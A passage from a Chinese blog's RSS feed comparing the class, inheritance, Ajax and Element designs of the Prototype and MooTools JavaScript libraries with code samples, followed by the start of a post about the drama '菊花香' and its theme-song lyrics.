其中类的 initialize 不是必须的. <br />
如果你想给 PersonClass 增加属性和方法,你可以在new   Class的参数里直接以 json方式定义. <br />
也可以使用 如下方式 </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">PersonClass.<span style="color: #660066;">implement</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>   	
    age<span style="color: #339933;">:</span><span style="color: #CC0000;">0</span> <span style="color: #339933;">,</span>  	
    getName <span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
       <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #000066;">name</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>  
<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#123;</span>...<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> ..... 
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>
implement支持多个{}.关于implement稍后在对比继承机制时再细说. </p>
<p>
在来看一下moo类机制的一些核心代码. </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> <span style="color: #003366; font-weight: bold;">Class</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>properties<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  
    <span style="color: #003366; font-weight: bold;">var</span> klass <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  		
         <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #009900;">&#40;</span>arguments<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">!==</span> <span style="color: #003366; font-weight: bold;">null</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">initialize</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> $type<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">initialize</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> 
                        <span style="color: #3366CC;">'function'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">?</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">initialize</span>.<span style="color: #660066;">apply</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">,</span> arguments<span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">;</span>  	
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>  	
    $extend<span style="color: #009900;">&#40;</span>klass<span style="color: #339933;">,</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  	
    klass.<span style="color: #660066;">prototype</span> <span style="color: #339933;">=</span> properties<span style="color: #339933;">;</span>  	
    klass.<span style="color: #660066;">constructor</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">Class</span><span style="color: #339933;">;</span>  	<span style="color: #000066; font-weight: bold;">return</span> klass<span style="color: #339933;">;</span>  
&nbsp;
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>   
<span style="color: #003366; font-weight: bold;">Class</span>.<span style="color: #660066;">prototype</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span>  	
    extend<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>properties<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  		
        <span style="color: #003366; font-weight: bold;">var</span> proto <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  		
        <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> property <span style="color: #000066; font-weight: bold;">in</span> properties<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  		
            <span style="color: #003366; font-weight: bold;">var</span> pp <span style="color: #339933;">=</span> proto<span style="color: #009900;">&#91;</span>property<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>  		
           proto<span style="color: #009900;">&#91;</span>property<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">Class</span>.<span style="color: #660066;">Merge</span><span style="color: #009900;">&#40;</span>pp<span style="color: #339933;">,</span> properties<span style="color: #009900;">&#91;</span>property<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  	
        <span style="color: #009900;">&#125;</span>  	
        <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">new</span> <span style="color: #003366; font-weight: bold;">Class</span><span style="color: #009900;">&#40;</span>proto<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>  	
    implement<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  		
        <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> l <span style="color: #339933;">=</span> arguments.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> l<span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
            $extend<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">prototype</span><span style="color: #339933;">,</span> arguments<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
    <span style="color: #009900;">&#125;</span>                      
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>代码的具体原理就不细说了.大家在moo的Class里看到了 extend   和implement,那下面就来具体说一说moo和prototype的 继承机制吧. </p>
<p></p>
<h2>
二. 继承机制<br />
</h2>
<p>
<strong>Prototype</strong> <br />
prototype提供的继承很简单. </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">Object.<span style="color: #660066;">extend</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>destination<span style="color: #339933;">,</span> source<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>   
  <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> property <span style="color: #000066; font-weight: bold;">in</span> source<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>    
     destination<span style="color: #009900;">&#91;</span>property<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> source<span style="color: #009900;">&#91;</span>property<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>   
  <span style="color: #009900;">&#125;</span>   
  <span style="color: #000066; font-weight: bold;">return</span> destination<span style="color: #339933;">;</span> 
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>他只是把source里的属性赋给destination,同时会覆盖destination里的同名属性. <br />
他可以用于对象,也可以用于类,当要实现类的继承时,destination要使用 MySubClass.prototype. </p>
<p>prototype的继承机制可以说是非常薄弱的. </p>
<p>
<strong>Mootools</strong> </p>
<p>moo提供了三种继承机制: </p>
<p>首先他也提供了简单的继承机制: <br />
Objcet.extend (注意,不是上面代码中 Class 里的 extend) <br />
他的代码如下 </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> $extend <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  	
    <span style="color: #003366; font-weight: bold;">var</span> args <span style="color: #339933;">=</span> arguments<span style="color: #339933;">;</span>  	
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>args<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> args <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">,</span> args<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>  
&nbsp;
    <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> property <span style="color: #000066; font-weight: bold;">in</span> args<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> 
      args<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>property<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> args<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>property<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> 
&nbsp;
    <span style="color: #000066; font-weight: bold;">return</span> args<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>  
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>  
Object.<span style="color: #660066;">extend</span> <span style="color: #339933;">=</span> $extend<span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>
他的使用方法和 prototype 完全一样. </p>
<p>但是大家可能注意到了   这句 if (!args[1]) args = [this, args[0]]; 这句的纯在使得下面的代码写法成为可能. </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"> <span style="color: #003366; font-weight: bold;">var</span> myObjcet<span style="color: #339933;">=</span><span style="color: #009900;">&#123;</span>....<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>  
 myObjcet.<span style="color: #660066;">extend</span><span style="color: #339933;">=</span>$extend<span style="color: #339933;">;</span> 
 myObjcet.<span style="color: #660066;">extend</span><span style="color: #009900;">&#40;</span>objA<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
 myObjcet.<span style="color: #660066;">extend</span><span style="color: #009900;">&#40;</span>objB<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
 myObjcet.<span style="color: #660066;">extend</span><span style="color: #009900;">&#40;</span>objC<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>简单的一句话,让extend的用法增加了更多的灵活性,不得不赞一个了!!! </p>
<p>下面说说重点,   moo的类里的extend和 implement <br />
先说 implement,之前已经说了一些了 </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> MyClassA <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> <span style="color: #003366; font-weight: bold;">Class</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
MyClassA.<span style="color: #660066;">implement</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#123;</span> 
   methodA <span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>... <span style="color: #009900;">&#125;</span> 
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>执行后 MyClassA 将拥有 methodA. </p>
<p>implement用来向类中添加属性和方法(会覆盖同名属性和方法),相当于 <br />
Object.extend (MyClassA.prototype , {&#8230; } ) <br />
但是Object.extend   不支持多个source,implement可以,示例如下: <br />
MyClassA.implement( objA , objB, objC &#8230; ); </p>
<p>
下面来看看moo的Class.extend. <br />
moo的Class.extend才是我们期待的真正的&quot;类继承&quot;,看一下官方的示例 </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> Animal <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> <span style="color: #003366; font-weight: bold;">Class</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>  			
    initialize<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>age<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  				
       <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">age</span> <span style="color: #339933;">=</span> age<span style="color: #339933;">;</span>  			
    <span style="color: #009900;">&#125;</span>  		
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  		
<span style="color: #003366; font-weight: bold;">var</span> Cat <span style="color: #339933;">=</span> Animal.<span style="color: #660066;">extend</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>  			
    initialize<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #000066;">name</span><span style="color: #339933;">,</span> age<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  				
        <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span>age<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">//will call the previous initialize;  			</span>
        <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #000066;">name</span> <span style="color: #339933;">=</span> <span style="color: #000066;">name</span><span style="color: #339933;">;</span>  			
    <span style="color: #009900;">&#125;</span>  		
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>看那个<strong>parent()</strong> !!!! <br />
通过moo的Class.extend实现的继承提供一个关键的方法 parent(). <br />
使用他你可以调用父类中的同名方法,好像java里的super一样. <br />
这个示例已经可以说明一切了. </p>
<p>
关于prototype和moo的类机制和继承机制的对比就到这里,孰优孰劣大家心里应该有数了吧. </p>
<h2>
三.抽象对象<br />
</h2>
<p>再来看一看&quot;抽象对象&quot;.   这个虽然对于开发人员来说用处不大,但还是对比一下吧,小细节也能看出作者的用心. </p>
<p><strong>Prototype</strong> <br />
prototype的抽象对象很简单 <br />
var Abstract = new Object(); <br />
具体的意义不大. </p>
<p>
<strong>Mootools</strong> <br />
moo的的抽象对象相对更完善一些. </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> Abstract <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>obj<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  
    obj <span style="color: #339933;">=</span> obj <span style="color: #339933;">||</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>  	
    obj.<span style="color: #660066;">extend</span> <span style="color: #339933;">=</span> $extend<span style="color: #339933;">;</span>  
    <span style="color: #000066; font-weight: bold;">return</span> obj<span style="color: #339933;">;</span>  
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>
支持自定义抽象(以参数形式传入),同时会为抽象对象自动添加extend方法. </p>
<p></p>
<h2>
四. 关于 $()<br />
</h2>
<p>
<strong>Prototype</strong> <br />
prototype的$大家都比较熟悉了, 工作原理就是 <br />
通过id取得一个页面元素(或者直接传入一个页面元素对象),然后给他增加一些prototype提供的方法和属性,来方便开发人员对页面元素的使用. </p>
<p>
<strong>Mootools</strong> <br />
moo在这方面做的差不多. <br />
不同的主要有两点, 首先moo为页面元素增加的方法和属性与prototype的不同(这个稍后会介绍),另外一个不同是moo的$兼具了对象管理的一个功能. <br />
他引入了一个    Garbage 类, 来对页面元素进行一个统一的管理和回收(主要是回收). <br />
可以更好的减少js(或浏览器)造成的内存泄露等问题. </p>
<p>具体的大家可以看一下代码,在这里就不详细说明了. </p>
<p></p>
<h2>
五.关于 Array   Enumerable Hash </p>
</h2>
<p>
prototype 和 moo 都提供了集合迭代方法 (each) <br />
这个网上已经有一篇不错的对比文章,我就不在这里重复了 <br />
http://blog.fackweb.cn/?p=50. </p>
<p>
moo的 forEach/each方法: function(fn, bind){..} <br />
那个bind 结合代码 和   上面那篇文章, 大家应该可以很好的看出来prototype和moo的不同与优劣. </p>
<p>
prototype里面有 Enumerable 的概念,moo没有. <br />
但是我个人一直觉得 Enumerable 比较鸡肋. <br />
在实际开发中,很少使用. <br />
Enumerable的功能完全可以 用普通json对象   或者是 Hash来实现. <br />
moo的作者也许同样这么认为.所以 不再 设置一个 鸡肋的 Enumerable类. <br />
但是请大家放心,   Enumerable 能做的事情, 在moo里也能完成. </p>
<p>可以理解为 </p>
<p>moo的 Array +  Hash +{} 完全可以接替   prototype的 Array + Enumerable + Hash +{} <br />
当然对于一些工具方法两者提供的都不太一样,不好比较,但是那些方法都是附属品. <br />
我们完全可以自己来实现,所以不在这次的比较范畴之内. </p>
<p></p>
<h2>
六. 关于 Element<br />
</h2>
<p>
两者的 Element   从作用上看类似.都是一种对页面元素的包装,为页面元素添加了一些诸如 addEvent remove style之类的方法. <br />
但是大家通过看代码可以发现   moo的实现明显更简洁 更OO. </p>
<p>同时还有一个关键的不同,prototype又提取出了一个Form对象,里面包含了很多表单相关的方法. <br />
同时还衍生出了   serializeElements Method 等等很多类和方法,代码瞬间变得异常复杂和难以琢磨. </p>
<p>
而moo中没有Form对象,在moo中,Form本身就是一个Element 他没什么特别的,这样的思想类似components模式 <br />
普通Element具备的方法 Form 都应该具备, Form具备的方法 Element也都应该包含.form 和 其他页面元素没什么不同. <br />
form元素只是一个包含了 input select textarea等子元素,同时拥有action target等属性而已. <br />
一个div   一个span 一个td&#8230; 同样可以包含input select textarea子元素,同样可以拥有.action target属性. <br />
浏览器处理他们的方式可能不同,但是在moo面前,大家完全平等. </p>
<p>
其实prototype里   form和普通页面元素几乎也是平等的,但是问题就是,既然是平等的,又何必硬生生的造出Form以及那么多的衍生物呢? </p>
<h2>
七.Ajax<br />
</h2>
<p>
<strong>Prototype</strong> <br />
prototype的ajax实现主要是靠一个 Ajax类 来实现.(但是这个类形同虚设,大家更多的是和   Ajax.Request 类打交道. </p>
<p>
先来看一个prototype下一个简单的ajax提交实例: </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> myAjax <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Ajax.<span style="color: #660066;">Request</span><span style="color: #009900;">&#40;</span>
     url<span style="color: #339933;">,</span>
    <span style="color: #009900;">&#123;</span>
     parameters<span style="color: #339933;">:</span> myData <span style="color: #339933;">,</span>
     onComplete<span style="color: #339933;">:</span> callBackFunction 
    <span style="color: #009900;">&#125;</span> 
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>
其中 myData 可以是字符 : &quot;name=Vickey&amp;gender=female&quot;; <br />
也可以是对象 { name :   Vickey, gender : female } </p>
<p>
<strong>Mootools</strong> <br />
moo首先在将ajax机制分层.提取出了一个基类:XHR. <br />
目前XHR有两个子类, 一个是 Ajax ,另一个是Json.Remote. </p>
<p>在moo下一个简单的ajax提交实例: </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> myAjax <span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">new</span> Ajax<span style="color: #009900;">&#40;</span>
    url<span style="color: #339933;">,</span> 
    <span style="color: #009900;">&#123;</span>
     data <span style="color: #339933;">:</span> myData <span style="color: #339933;">,</span> 
     onComplete<span style="color: #339933;">:</span> callBackFunction  
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">request</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>
大家可以看到request成为了Ajax对象的一个方法,这样的设计显然是更合理更自然 也更OO的. </p>
<p>而且关键的一点是,你可以提前创建好你需要的ajax对象.在需要发出请求时再发出请求. </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> myAjax <span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">new</span> Ajax<span style="color: #009900;">&#40;</span>...<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  
.....   
<span style="color: #660066;">myAjax</span>.<span style="color: #660066;">request</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>
同时还有一个重要特性, request是支持参数的,这个参数就是你要提交的数据. </p>
<p>也就是说,你可以在new   Ajax时不指定数据或者指定一个默认数据. <br />
在提交的时候可以提交另一个data.如. </p>
<p>myAjax.request(yourData); </p>
<p>其中data可以是字符串,可以是对象, 也可以是一个页面元素. </p>
<p>要用ajax提交一个form 或者一个   div下的所有表单元素,只是改变一下 myData. <br />
var myData= $(&quot;formID&quot;);  // var myData=   $(&quot;divID&quot;); <br />
然后就和普通的ajax提交完全一样了. </p>
<p>myAjax.request(myData); </p>
<p>当然还有更oo的方式 : <br />
myData.send({onComplete: callBackFunction }); </p>
<p>用后一种方式的时候要保证提交的元素有action属性,没有你就赋一个 myData.action=url. <br />
prototype里如何实现这一功能呢?? </p>
<p>
<strong>Prototype</strong> <br />
Form.request($(&quot;formID&quot;) ,{   onComplete: callBackFunction }); </p>
<p>当然prototype里也可以类似moo的做法 ,   只要让myData=$(&quot;formID&quot;).serialize(true) 就可以了. <br />
但是这一个小小的不同,反映出了设计上的差距. </p>
<p>
<strong>Mootools</strong> <br />
moo的Json.Remote类,简单,但是很实用: </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> jSonRemoteRequest <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Json.<span style="color: #660066;">Remote</span><span style="color: #009900;">&#40;</span>
  url <span style="color: #339933;">,</span> 
  <span style="color: #009900;">&#123;</span>
   onComplete<span style="color: #339933;">:</span>callBackFunction 
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">send</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span><span style="color: #000066;">name</span><span style="color: #339933;">:</span> <span style="color: #3366CC;">'Vickey'</span><span style="color: #339933;">,</span>gender<span style="color: #339933;">:</span> <span style="color: #3366CC;">'female'</span> <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>
这个类和Ajax类的本质区别是, <br />
他提交的是一个序列化后的 json字符串(&quot;{name: &#8216;Vickey&#8217;,gender:   &#8216;female&#8217; } &quot;),而不是把 json对象转化成QueryString (&quot;name=Vickey&amp;gender=female&quot;); </p>
<p></p>
<h2>
结束语<br />
</h2>
<p>
写这篇文章不是要批评prototype,以我现在的水平还没那个资格. <br />
只是和mootools对比后, prototype在设计上的不足立刻就显现了出来. </p>
<p>虽然prototype新版本变化很多,很多我上面提到的一些不足都改正了,而且也加入了很多以前不具备的新的特性. <br />
但是prototype现在的发展停留在:&quot;修补不足,增加功能&quot;的阶段,而没有从设计上进行深层次的重构,所以我不认为他在mootools面前有足够的底气. </p>
<p>至于jquery我没有深入研究过,但是它的设计觉得完全是prototype风格的, 注意,我说的是设计风格,而不是代码风格. <br />
代码上他可能写的更精妙,更有趣,但是设计上依然是prototype风格:薄弱的类机制,靠简单的extend支撑起整个系统. <br />
JQuery在很多方面很出色,但是归根结底他和prototype走在一条路上,只是在有些方面他走的更快. </p>
<p>
mootools并非完美无缺,但是至少现在他美的地方比prototype更多,缺的地方比prototype更少. </p>
<p>所以,我选择mootools. 你呢?? </p>
<p>不要听评论,不要看介绍,   只要看看他们的源代码, 同时动手用他们写些东西, 你的答案自然会浮现出来. </p>
<h3  class="related_post_title">相关日志 »</h3><ul class="related_post"><li>2009/08/07 -- <a href="http://cssrainbow.cn/tutorials/mootools/599.html" title="选择mootools的5个原因(转)">选择mootools的5个原因(转)</a> (0)</li><li>2009/08/13 -- <a href="http://cssrainbow.cn/articles/resources/625.html" title="MooTools国外的教程和资源大集合">MooTools国外的教程和资源大集合</a> (0)</li><li>2010/04/07 -- <a href="http://cssrainbow.cn/code-snippets/mootools-code-snippets/1231.html" title="MooTools 1.2 Class 模板">MooTools 1.2 Class 模板</a> (0)</li><li>2010/03/18 -- <a href="http://cssrainbow.cn/tutorials/mootools/1183.html" title="jQuery 1.4, MooTools 1.2 比较">jQuery 1.4, MooTools 1.2 比较</a> (0)</li><li>2010/01/19 -- <a href="http://cssrainbow.cn/articles/web-roundups/905.html" title="Google 排名中的 10 个最著名的 JavaScript 库">Google 排名中的 10 个最著名的 JavaScript 库</a> (0)</li><li>2010/01/18 -- <a href="http://cssrainbow.cn/tutorials/mootools/895.html" title="Mootools: toElement 方法">Mootools: toElement 方法</a> (0)</li><li>2010/01/15 -- <a href="http://cssrainbow.cn/demos/892.html" title="让所有的浏览器都支持 HTML5 placeholder 属性，基于MooTools">让所有的浏览器都支持 HTML5 placeholder 属性，基于MooTools</a> (0)</li><li>2009/12/07 -- <a href="http://cssrainbow.cn/tutorials/mootools/843.html" title="表单的文本字段默认值插件，基于MooTools">表单的文本字段默认值插件，基于MooTools</a> (1)</li><li>2009/12/01 -- <a href="http://cssrainbow.cn/code-snippets/mootools-code-snippets/832.html" title="MooTools Window Object 清单">MooTools Window Object 清单</a> (0)</li><li>2009/11/28 -- <a href="http://cssrainbow.cn/tutorials/mootools/829.html" title="类似于选项卡的搜索框, 基于MooTools">类似于选项卡的搜索框, 基于MooTools</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://cssrainbow.cn/articles/resources/595.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>菊花香</title>
		<link>http://cssrainbow.cn/articles/general/573.html</link>
		<comments>http://cssrainbow.cn/articles/general/573.html#comments</comments>
		<pubDate>Sat, 01 Aug 2009 11:29:17 +0000</pubDate>
		<dc:creator>Rainbow</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[读书]]></category>

		<guid isPermaLink="false">http://cssrainbow.cn/?p=573</guid>
		<description><![CDATA[也许，你闻见一个女子带着菊花香，就决定去爱她一生；也许，你随意地挑选出一首老歌，来倾述你的心声；也许，你会在树干上镌刻爱人的名字，让爱情生长；也许，你在生命的最后时刻，踩着沙沙作响的银杏叶子跳一支舞；也许，你亲手去做陶器，让幸福成为永恒的艺术--这些就是散发着菊花香的故事。]]></description>
			<content:encoded><![CDATA[<h1 align="center">菊花香</h1>
<p>也许，你闻见一个女子带着菊花香，就决定去爱她一生；也许，你随意地挑选出一首老歌，来倾述你的心声；也许，你会在树干上镌刻爱人的名字，让爱情生长；也许，你在生命的最后时刻，踩着沙沙作响的银杏叶子跳一支舞；也许，你亲手去做陶器，让幸福成为永恒的艺术&#8211;这些就是散发着菊花香的故事。</p>
<p>菊花香主题歌《熙载》</p>
<p>
阳光为我们而照耀，风使我们相拥而抱 </p>
<p>  季节在我们的笑声中来来往往 </p>
<p>  顺着风中飘舞的发丝，飘来的你的香气 </p>
<p>  你那美丽的眼睛和笑容都被我所拥有 </p>
<p>  这种爱、这幸福都觉得是那么容易拥有 </p>
<p><span id="more-573"></span></p>
<p>  但这情景、这祝福不应该这么容易让我享受 </p>
<p>
  来不及擦掉眼泪，擦掉痛苦的我 </p>
